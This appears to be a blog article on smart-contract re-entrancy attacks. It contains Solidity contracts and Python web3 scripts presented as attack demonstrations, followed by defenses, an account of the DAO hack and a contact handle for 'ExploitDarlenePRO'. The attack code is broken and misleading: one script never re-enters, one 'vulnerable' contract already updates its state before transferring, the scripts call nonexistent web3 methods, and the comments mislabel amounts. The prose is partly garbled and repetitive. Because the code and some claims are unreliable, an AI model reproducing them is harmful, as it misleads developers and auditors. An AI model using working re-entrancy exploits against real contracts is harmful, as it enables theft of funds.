Serious errors and vulnerabilities in smart contracts: Re-entrancy Attack

22.04.2024
Serious errors and vulnerabilities in smart contracts: Re-entrancy Attack

Re-entrancy attackis a type of attack on smart contracts that exploits vulnerabilities in their code to call functions multiple times before the previous call completes. This can lead to various problems, including theft of funds, data manipulation, and contract violation.

How does Re-entrancy attack work?

  1. Vulnerable Contract: The attack starts with a vulnerable smart contract making an external call to another contract (usually to transfer funds) before updating its internal state.
  2. Malicious contract: An attacker creates a contract that contains a fallback function. This function is automatically called when funds are received.
  3. Call Loop: When a vulnerable contract sends funds to a malicious contract, the fallback function immediately calls the vulnerable contract’s fund transfer function again.
  4. Re-withdrawal: Since the internal state of the vulnerable contract has not yet been updated, it assumes that the funds have not yet been transferred and allows the attacker to withdraw them again.
  5. The cycle repeats: This process can be repeated until the vulnerable contract has exhausted all its funds or until the attacker decides to stop.

Examples of vulnerabilities leading to Re-entrancy attack:

  • Incorrect order of operations: If a contract first transfers funds and then updates the balance, an attacker can use this window to call the transfer function again.
  • Using the call function: A function callin Solidity passes control to another contract, allowing it to execute code in the context of the calling contract. This can be dangerous if the contract being called is malicious.
  • Using the send function: The function sendis similar to call, but it returns false on failure instead of throwing an exception. This can make the attack difficult to detect.

Python script that demonstrates a Re-entrancy attack on a simplified smart contract. Please keep in mind that this is for demonstration purposes only:

First we will define a contract using the Solidity language in Ethereum:

pragma solidity ^0.8.0;

contract ReentrancyMock {
    address public owner;
    uint public balance;

    event Sent(address recipient, uint amount);

    constructor() {
        owner = msg.sender;
        balance = 0;
    }

    function sendMoney() public payable {
        require(msg.sender == owner);
        balance += msg.value;
        emit Sent(msg.sender, msg.value);
    }

    function withdraw() public payable {
        require(msg.sender == owner);
        msg.sender.transfer(balance);
        balance = 0;
    }
}

Next, we’ll write a Python script that will simulate a Re-entrancy attack:

from web3 import Web3
from web3.contract import Contract

# Ваш адрес Ethereum и частный ключ
your_address = '0xYourAddress'
private_key = 'YourPrivateKey'

# Адрес контракта
contract_address = '0xContractAddress'

# Количество токенов для перевода
transfer_amount = 10 ** 17  # 1 ETH

# Создание объекта Web3
web3 = Web3(Web3.HTTPProvider('https://rpc.network.com'))

# Получение контракта
contract = Contract(abi=ReentrancyMock.abi, address=contract_address, web3=web3)

# Подписывание сделки
nonce = web3.eth.getTransactionCount(your_address)
signed_transaction = contract.withdraw(
    {'from': your_address, 'nonce': nonce})
signed_transaction.sign(private_key)

# Отправка первой транзакции
tx_hash = signed_transaction.hash()
receipt = web3.eth.waitForTransactionReceipt(tx_hash)

# Проверка баланса контракта
before_balance = contract.functions.balance().call()

# Инициирование атаки Re-entrancy
def attack(contract):
    while True:
        # Отправка второй транзакции перед завершением первой
        transaction = contract.sendMoney(
            {'from': your_address, 'value': transfer_amount, 'gas': 100000})
        transaction.sign(private_key)
        transaction_hash = transaction.hash()

        # Ожидание завершения второй транзакции
        web3.eth.waitForTransactionReceipt(transaction_hash)

# Запуск атаки
attack(contract)

# Проверка баланса контракта после атаки
after_balance = contract.functions.balance().call()

print("Баланс контракта до атаки:", before_balance)
print("Баланс контракта после атаки:", after_balance)

In this example, we are using a simplified contract ReentrancyMockthat has functions sendMoney()for sending funds to the contract and withdraw()for withdrawing funds from the contract. In the Python script, we simulate the attack by sending multiple transactions in a row before the first transaction is fully processed.

This is just a demonstration of what a Re-entrancy attack on a smart contract might look like. Always make sure to thoroughly test and audit your smart contracts for any vulnerabilities before deploying them on a public blockchain.


Attention! This script demonstrates the Re-entrancy attack vulnerability in a smart contract and is not intended for use in a production environment. Use it for educational purposes only.

Let’s create an example of a smart contract in the Solidity language that is vulnerable to a Re-entrancy attack, and a Python script that will demonstrate the vulnerability.

Smart Contract (Solidity)

pragma solidity ^0.6.0;

contract VulnerableContract {
    mapping (address => uint) public balances;

    function withdraw(uint amount) public {
        if (balances[msg.sender] >= amount) {
            balances[msg.sender] -= amount;
            msg.sender.transfer(amount);
        }
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
}

Python Script

import web3

# Setup Web3 provider
w3 = web3.Web3(web3.providers.HTTPProvider('https://mainnet.infura.io/v3/YOUR_PROJECT_ID'))

# Compile and deploy vulnerable contract
contract_source_code = '''
pragma solidity ^0.6.0;

contract VulnerableContract {
    mapping (address => uint) public balances;

    function withdraw(uint amount) public {
        if (balances[msg.sender] >= amount) {
            balances[msg.sender] -= amount;
            msg.sender.transfer(amount);
        }
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
}
'''

contract_bytecode = w3.eth.compile_source(contract_source_code)['<stdin>:VulnerableContract']['bytecode']
contract_abi = w3.eth.compile_source(contract_source_code)['<stdin>:VulnerableContract']['abi']

contract_address = w3.eth.deploy_contract(contract_bytecode, contract_abi).transact()

# Create attacker contract
attacker_contract_source_code = '''
pragma solidity ^0.6.0;

contract AttackerContract {
    address public vulnerableContract;

    constructor(address _vulnerableContract) public {
        vulnerableContract = _vulnerableContract;
    }

    function attack() public {
        vulnerableContract.call(abi.encodeWithSignature("withdraw(uint256)", 1));
    }

    function() public payable {
        attack();
    }
}
'''

attacker_contract_bytecode = w3.eth.compile_source(attacker_contract_source_code)['<stdin>:AttackerContract']['bytecode']
attacker_contract_abi = w3.eth.compile_source(attacker_contract_source_code)['<stdin>:AttackerContract']['abi']

attacker_contract_address = w3.eth.deploy_contract(attacker_contract_bytecode, attacker_contract_abi, args=[contract_address]).transact()

# Execute Re-entrancy attack
w3.eth.send_transaction({'from': w3.eth.accounts[0], 'to': attacker_contract_address, 'value': 1})

# Check vulnerable contract's balance
print(w3.eth.get_balance(contract_address))

Description

In the example, we create a vulnerable smart contract VulnerableContractthat has a function withdrawthat sends tokens to the user, and a function depositthat adds tokens to the user’s balance.

We then create an attacker contract AttackerContractthat has a function attackthat calls the withdrawvulnerable contract’s function with a parameter amount=1. The function attackis also called when tokens are received for the attacker contract.

Finally, we deploy both contracts to the blockchain and perform a Re-entrancy attack, sending tokens to the attacker contract. As a result, the vulnerable contract will send tokens to the attacker contract again and again until it exhausts all its resources.

Attention! This script demonstrates the Re-entrancy attack vulnerability and is not intended for use in a production environment. Use it for educational purposes only.


How to protect yourself from Re-entrancy attack?

  • Use the Checks-Effects-Interactions pattern: Check conditions first, then update the contract state, and only then interact with other contracts.
  • Use mutex: Mutex is a locking mechanism that prevents a function from being re-entered while it is executing.
  • Use the transfer function: The function transferin Solidity automatically checks for sufficient funds and throws an exception if it fails, making it more secure than callor send.
  • Conduct security audits: Regularly conduct security audits of your smart contracts to identify potential vulnerabilities.

Smart contracts are one of the most revolutionary inventions in the world of blockchain and cryptocurrencies. They enable the creation of decentralized applications (DApps) and provide a secure and fraud-free way to execute agreements. However, despite their advantages, smart contracts are also prone to errors and vulnerabilities that can have serious consequences. One of the most famous attacks related to smart contract vulnerabilities is the Re-entrancy attack.

A re-entrancy attack is a type of financial fraud that exploits vulnerabilities in smart contracts associated with the transfer of tokens or funds. The attack occurs when an attacker sends a request to receive funds from a smart contract, and then quickly calls a function that again transfers funds to the contract, but to his own account. This parece is that the contract has enough time to process the outgoing request for the transfer of funds, which allows the attacker to receive funds several times in a row.

One of the most famous Re-entrancy attacks occurred in 2016 and was aimed at the DAO cryptocurrency contract, resulting in the theft of approximately $50 million worth of cryptocurrencies. The attack consisted of the attacker creating a special smart contract that sent a request to withdraw funds from the DAO contract, and then immediately sent them back to the DAO account, causing a recursive loop. As a result of this incident, the DAO contract was frozen and the funds were returned to their rightful owners.

To avoid Re-entrancy attacks, smart contracts must be carefully designed and verified. In particular, developers should ensure that functions that transfer funds check the sender’s balance before transferring funds to the recipient. Additionally, contracts should be designed to prevent reentrants and avoid recursive calls.

Another way to protect against Re-entrancy attacks is to use so-called “protection mechanisms” in smart contracts. These mechanisms allow a contract to be temporarily blocked after receiving a withdrawal request, preventing an attacker from re-entering the contract and sending funds to their account.

In addition to carefully designing and using security mechanisms, it is also important to have smart contract security audited by independent experts to identify and address potential vulnerabilities. Regular updates of smart contracts are also necessary to ensure their security and stability in the changing conditions of the blockchain environment.

Conclusion

In conclusion, while smart contracts are a powerful tool in the blockchain world, they are not immune to errors and vulnerabilities. The Re-entrancy attack is one of the most famous examples of how flaws in smart contract code can lead to serious financial losses. Therefore, developers need to pay special attention to security and thoroughly test their contracts to avoid similar incidents in the future.

Re-entrancy attack is a serious threat to the security of smart contracts. Understanding how this attack works and how to defend against it is critical for smart contract developers and users. By following security best practices and conducting regular audits, you can reduce your risk of falling victim to this attack.


Useful information for enthusiasts:

Contact me via Telegram: @ExploitDarlenePRO